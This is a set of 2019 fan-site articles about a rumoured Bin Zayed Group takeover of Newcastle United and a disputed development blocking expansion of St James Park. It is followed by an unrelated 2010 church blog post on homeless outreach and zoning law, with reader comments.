Or alternatively, get Mike Ashley to do it on their behalf…
All kinds of ifs, buts and maybes but it is very interesting looking at the timings.
Mike Ashley makes an application to Companies House to strike this company (PROJECT J NEWCO NO.40 LIMITED) off the register.
That exclusive from The Sun breaks that the Bin Zayed Group (BZG) are in the process of buying Newcastle United
The Managing Director of BZG releases public statement stating heads of terms agreement has been reached with Mike Ashley, backing up the newspaper exclusive.
The MD of BZG releases second public statement stating proof of funds had been given to Mike Ashley.
A new company is registered at Companies House, the only two directors of ‘Monochrome Acquisition Limited’ are Sheikh Khaled and the MD of BZG, Midhat Kidwai. This widely reported as potentially a financial/company vehicle that may have been set-up to buy Newcastle United, if investors from abroad wanted to buy an English football club they would need to set-up something along these lines.
Mike Ashley makes an application to Companies House to withdraw the company (PROJECT J NEWCO NO.40 LIMITED) strike off application.
The Mag – 1 June 2019;
Will the Bin Zayed Group take over Newcastle United?
That is the question of everybody’s lips, since claims first emerged on Sunday (26 May) night.
The issue of course is also time sensitive, for any number of reasons.
The most obvious ones where the clock is ticking loudest for most fans, are the issues surrounding Rafa Benitez and the summer transfer window.
As it stands, it appears until there is a definitive conclusion to the ownership issue, we are unlikely to see the manager sign a new long-term contract and until Rafa’s situation is clarified, it looks pretty unrealistic to expect any major signings.
However, there is a third issue that I would argue is just as pressing. Maybe in some ways, even more so.
It is only three weeks ago since we brought you an update on the land opposite the Gallowgate End (see below).
It was land bought by Newcastle United back when John Hall and Freddy Shepherd were running the show. The idea being that sometime in the future, St James Park could be expanded at the Gallowgate End as part of a large scale development. The plans they had drawn up back then, showed St James Park could be expanded to at least a 60,000 capacity, with that expansion being part of a wider development that would incorporate a massive casino, hotel and so on.
When Mike Ashley bought Newcastle United, that land opposite the Gallowgate End came as part of the deal. However, Mike Ashley later sold the land to himself and then eventually sold it on to developers for a personal profit.
The plans to build a combination of hotels, student accommodation, office space and retail have been around for some time now, with Newcastle fans campaigning against the development as it would mean realistically there would be pretty much zero chance of St James Park being expanded, even if the club ever got a new owner…
Then after this public consultation exercise (see below) in early May, we also then got to see some mock-up images of how this would then affect the city skyline, particularly in relation to St James Park. Not a pretty sight!
Moving back to the present day and if the Bin Zayed Group buying out Mike Ashley is potentially going to happen, an imminent disaster surely becomes a golden opportunity.
Twenty years ago only Manchester United had a bigger capacity than Newcastle United, in these last two decades though: Liverpool, Spurs, Manchester City, West Ham and Arsenal have all expanded or moved to bigger capacities, leaving Newcastle back in seventh.
Both Chelsea and Everton have been looking at new stadiums/capacities which could overtake Newcastle’s, Wolves recently announced plans to increase to 50,000 whilst many other clubs, from Bournemouth to Leicester, are also looking to expand capacity.
It really is a no-brainer for any ambitious new owner of Newcastle United to look for any possible ways to increase St James Park’s capacity.
This works on a number of levels, not just in terms of enabling more fans to get into matches and give support to the team, it very much works on a business level. Which is why clubs such as Manchester City were so keen to expand the Etihad despite having massive money available to them.
Ground development doesn’t come under Financial Fair Play (FFP) rules, so doesn’t have to affect spending on transfer fees and wages. Owners can privately fund an increased capacity and the benefits to them for doing this are: getting more fans into St James Park would obviously produce higher matchday revenues going forward, allowing them to grow the business/brand, it also means that if/when they come to sell the club in the future, they would get that money back and more on their extra investment.
With the FFP rules, increasing revenues in this way would mean ambitious owners would then be able to spend significantly more on both transfer fees and player wages.
The Bin Zayed Group are involved in all kinds of projects, including/especially construction so every chance their expertise could enable even more innovative ways to help maximise the St James Park capacity.
Obviously a deal would need to be done to either compensate or work with the current developers but no reason why an alternative development can’t be the outcome, which includes an expanded St James Park.
Certainly, if Newcastle City Council are waving through this current development as it is stands, it would surely be unthinkable to believe thy would then for some reason block a different approach that would see a bigger stadium capacity.
The clock is ticking though and we look for an early conclusion to this reported buyout. If it does happen and we see investment in both the playing squad and the infrastructure, particularly plans for a bigger St James Park capacity, the change in mood/belief of Newcastle fans would be something to behold.
The Mag – 10 May 2019:
When you are walking up from the city centre to St James Park, picture in your head how it looks.
As people often describe it, the ‘cathedral on the hill’ looks the business.
We might not win trophies but there are many great things about our football club and the way that St James Park dominate the skyline is just one of them.
However, this will very soon be simply memories and photos, unless plans to butcher one of the city centre’s greatest assets are stopped.
On Thursday, there was a ‘drop-in public consultation event’, allowing people to go along and comment on the proposals for the development on land opposite the Gallowgate End.
This is land that was bought by NUFC when John Hall and Freddy Shepherd were running the show, earmarked to one day help St James Park increase capacity to 60,000+.
Mike Ashley took control of the land as part of the package when buying Newcastle United in 2007, then later bought it from the club into his private control, before selling it on to developers at a profit of millions of pounds (for himself).
If the development goes ahead for offices. apartments, hotels etc goes ahead, it ends any realistic hope of expanding St James Park now and in the future. quite ridiculous for a club that can attract average gates of over 51,000 in the Championship.
However, as well as this, Thursday’s public consultation event has shown just how horrific the whole development will look if allowed to happen.
The mock-up images (see below) at yesterday’s event have now shown that there is another horrific side to this scheme.
Just look at how massive these buildings are going to be and the impact they will have on St James Park and the city’s skyline overall.
The trouble with so many things such as this, is that the reality only hits home for people when it is too late.
Only when fans/general public see the end product, does it properly register what has been allowed to happen.
The Newcastle United Supporters Trust are looking to coordinate opposition/influence on this development and you can visit their Twitter account HERE and website HERE, for information and how you can help.
The Mag – Thursday 9 May 2019:
A reminder on the development of land opposite the Gallowgate End that would prevent St James Park ever being expanded in the future, if it goes ahead.
It is a long running saga dating back to when John Hall and Freddy Shepherd were running Newcastle United.
Buying land opposite St James Park and having plans drawn up, which showed it would be possible to expand the Gallowgate End, leading to an increased capacity of at least 60,000.
Whilst there was no immediate plan put into action, fans were reassured by the thought that in the future, it would be possible to accommodate more fans.
However, the takeover by Mike Ashley changed all that.
He paid the club to transfer the land opposite St James Park into his own personal control away from Newcastle United and then later sold at a profit to developers.
Despite having had an average crowd of over 51,000 in the Championship, the owner happy to end any hopes of ever expanding St James Park in the future, in return for a few extra quid in his own pocket.
Later today (Thursday 9 May: 4pm – 7pm) there is a ‘drop-in public consultation event’, allowing people to go along and comment on the proposals.
As you can see below, the development is proposed in four blocks (the image showing where they would be in relation to St James Park on the right), with office space, hotel rooms and rented apartments intended to be included.
Not exactly things Newcastle Upon Tyne is desperately in need of…at the expense of the future expansion of St James Park.
The drop-in event takes place at the Sandman Signature Hotel today (9 May), next to St James Park, 4pm-7pm.
‘Lambert Smith Hampton
St James’ Car Park, Gallowgate
Proposals for a Mixed Use Redevelopment Scheme
You are invited to attend a drop-in public consultation event to view and comment on emerging proposals for a mixed-use redevelopment scheme on land at St James’ Car Park, Gallowgate.
The consultation event will take place at Sandman Signature Hotel, Gallowgate, Newcastle-upon-Tyne on Thursday 9th May between 4pm and 7pm.
Members of the design team will be on hand to answer any questions you may have.
In August 2017 Marrico Asset Management LLP secured planning permission for a mixed use development scheme at St James’ Car Park, Gallowgate (Application Ref: 2015/1778/01/DET).
The approved scheme comprised of four blocks providing a mix of student accommodation, office space,
residential accommodation and commercial floorspace.
What is being proposed?
Marrico Asset Management LLP and Helios Investment Partners are now proposing a revised mixeduse development at St James’ Car Park, similar to the approved scheme, but including changes to the overall mix of uses and height of some of the blocks.
The detailed design approach is still the subject of pre-application discussions with representatives from the City Council, other statutory consultees and stakeholders.
The mix of uses proposed has, however, been broadly established having regard to the local context, site constraints and market
conditions and includes:
• Building A – Residential block providing 202 privately rented apartments;
• Building B – Office block comprising 14,400sqm of floorspace;
• Building C – Either an office block comprising 6,500sqm of floorspace or a 180 bed hotel; and
• Building D – Either a hotel comprising 170 bedrooms or a residential block comprising 113 privately rented apartments.
In addition to the above, areas of landscaping a high quality public realm will be provided within the site along with associated access and servicing arrangements for all of the proposed uses.
If you would like to view and comment on the proposals, you are welcome to drop by the Sandman Hotel on 9th May (4pm -7pm).
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Church Rights, Homeless Outreach, and Zoning Laws
Posted on March 4, 2010 by Universal Life Church Monastery
The conflict between church interests and local zoning laws is not a new phenomenon; in the United States, communities have often sought to restrict church building expansions and, perhaps to a lesser extent, church activities in the public realm. The chief question at the heart of the issue is to what extent a congregation has the right to practice its religious freedom unimpeded.
The conflict between church public outreach and the concerns of the surrounding neighborhood has reached the federal court in Phoenix, Arizona, where city officials have ordered a halt to a CrossRoads United Methodist Church’s breakfast for the homeless in an upscale neighborhood park. Officials, who say the event violates zoning laws, instituted the ban in response to complaints from neighbors about the alleged criminal activity of some of the event’s homeless participants. According to Amanda Lee Myers of the Associated Press, “Residents say the homeless create blight and pose a danger to them, pointing to the case of a homeless felon caught with child pornography in the neighborhood”. “[S]ome have stuck around and have urinated in yards or broken into cars”, claims resident Jason Morris, who argues, “[The ban is] about a law that applies to every property owner.” Church pastor Rev. Dottie Escobedo-Frank argues, “It doesn’t make sense that they would leave here, where there’s a bathroom, and go urinate on someone’s yard”. The man possessing the child pornography was found in an alley just outside the home of Kevin Swatich. However, Escobedo-Frank claims that the incident was an isolated one and happened months prior.
But does CrossRoads Church have the freedom to carry out its charitable services in public parks despite the concerns of neighbors, or is its freedom limited by certain responsibilities which all citizens and corporations are granted? Exactly how far does freedom to practice religion extend?
On one hand, the actions of the city potentially violate First Amendment protections for religious freedom, argues Kevin Theriot, senior counsel for the Alliance Defense Fund, a Scottsdale-based legal group which takes on legal cases in defense of Christian congregations. “Feeding the homeless and feeding those who are hungry has been recognized as an important religious belief for years,” he says, according to Myers. “My guess is if they were serving a pancake breakfast to local neighborhood folks that aren’t homeless, then nobody would have a problem.” Theriot claims the homeless event was banned because city
officials target the homeless in an attempt to keep them invisible. On the other hand, residents posit that the First Amendment does not cover unimpeded church activity, and that the same laws which apply to citizens apply to religious organizations: “This has never been about the First Amendment,” Morris says. “It’s about a law that applies to every property owner.”
Whether or not Morris is correct in his assessment, it is becoming more difficult for local jurisdictions to restrict public religious events: in 2000, the U.S. Congress passed the federal Religious Land Use and Institutionalized Persons Act, a law which guarantees greater protection for religious groups in zoning disputes and requires solid evidence to show that the event endangers the public.
Exactly what constitutes religious freedom? As the above law already presupposes, religious organizations do not possess the religious freedom to impinge on the civil or human rights of other citizens or entities. Given this stipulation, why should faith groups be exempt from zoning laws and permitted, for example, to build outlandish suburban “mega-churches”—only too often segregated along class and race boundaries—on wetlands, farms, and other delicate ecosystems? After all, such unregulated growth might arguably impinge on the rights of the general population to have access to sustainable natural resources and recreational opportunities.
Of course, the breakfast in the park held by CrossRoads Church does not exactly constitute environmental degradation. However, it is a church event held in a public park, and the community who swayed officials to ban the event provided tenuous evidence that the homeless participants vandalized property or generally threatened the children of the community; indeed, what stands out most of all seems to be an underlying classism.
It is probably a blessing that online churches such as Universal Life Church Monastery avoid this problem by conducting their public outreach largely through the medium of the Internet and smaller and more frequent worship celebrations in our Seattle Sanctuary’s Le Jardin.
Still, the use of public space is a concern for most churches. We always welcome the thoughts of our ministers; give us your opinion on this matter.
Newspapers should cover the Lee NH does not want homeless US Military Combat Veteans living in their community go to http://www.veteranresortchapel.com
Lorraine Pierce says:
Our local Methodist church is letting druggies hang out at the front breezeway. All day long they go back and forth from the “smoke shop” to the church. Three have been found passed out and Over Dosed at the church this week. Our community is tired of it, yet the pastor supports having them there and was on the news saying so!
What kind of help is this? Enabling isn’t helping.
Peter Macdonald says:
In Lee NH at the http://www.veteranresortchapel.com church the town of Lee does not want homeless US Military Combat Veterans in their town.
Mary Centers says:
Our church asked the city administer about a soup kitchen ministry and was told we cant stop you but don’t like the ideal. We. Have been donated commercial. equipment. Architect was ready to began construction of remodel asked us to double check with city in case there was any thing we did need to get after calling all of a sudden our church isnt zoned to feed people. We asked for a meeting. So much invested to turn back.
http://www.veteranresortchapel.com is a Church, non-profit with the mission from God to help homeless U.S. Military Combat veterans find their way home. The Town of Lee NH has refused to allow our church in. We can not find a lawyer to help does anyone know one. Go to http://www.veteranresortchapel.com and let us know. Thank You Peter Macdonald Sgt USMC Semper Fi
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